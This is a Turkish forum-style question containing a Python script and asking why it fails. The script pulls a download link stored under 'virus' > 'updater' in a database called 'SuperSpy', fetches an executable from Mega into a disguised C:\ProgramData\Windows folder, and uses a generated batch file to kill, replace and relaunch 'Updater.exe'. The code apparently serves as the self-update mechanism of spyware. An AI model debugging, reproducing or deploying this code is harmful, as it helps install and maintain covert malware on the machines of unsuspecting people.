import pymongo,os
from mega import Mega
Version = "1.0"
USERNAME = "Ertu"
strr = r"""
taskkill /f /IM Updater.exe
del C:\ProgramData\Windows\Updater.exe
ren C:\ProgramData\Windows\s.exe Updater.exe
start Updater.exe
"""
if Version != pymongo.MongoClient("mongodb+srv://******@superspy.zpebk.mongodb.net/")["SuperSpy"]["Info"].find_one({"whatIs":"versionInfo"})["programVersion"]:
try:link = pymongo.MongoClient("mongodb+srv://******@superspy.zpebk.mongodb.net/")["SuperSpy"]["Users"].find_one({"username":"Ertu"})["mega"]["virus"]["updater"]
except Exception as e:print(e)
try: Mega().download_url(link,"C:/ProgramData/Windows","s.exe")
except Exception as e:print(e)
try:
bat = open("saver.bat","w")
bat.write(strr)
bat.close()
os.startfile("saver.bat")
except:pass
Programın versiyonu databasedeki versiyona eşit değilse güncel programı silip yenisiyle değiştirmek istiyorum. Bakınca sorun çıkmayacak gibi duruyor. saver.bat ı kaydediyor fakat sonrasında 3 4 saniye aralıklarla pyinstallerin hatası çıkıp çıkıp okunmadan geri gidiyor. Herhangi bir döngü olmamasına rağmen görev yöneticisinde program hep açık gözüküyor. elimle saver.bat ı çalıştırdığım zaman sorunsuz şekilde çalışıyor. Sebebi nedir ? nasıl halledebilirim ?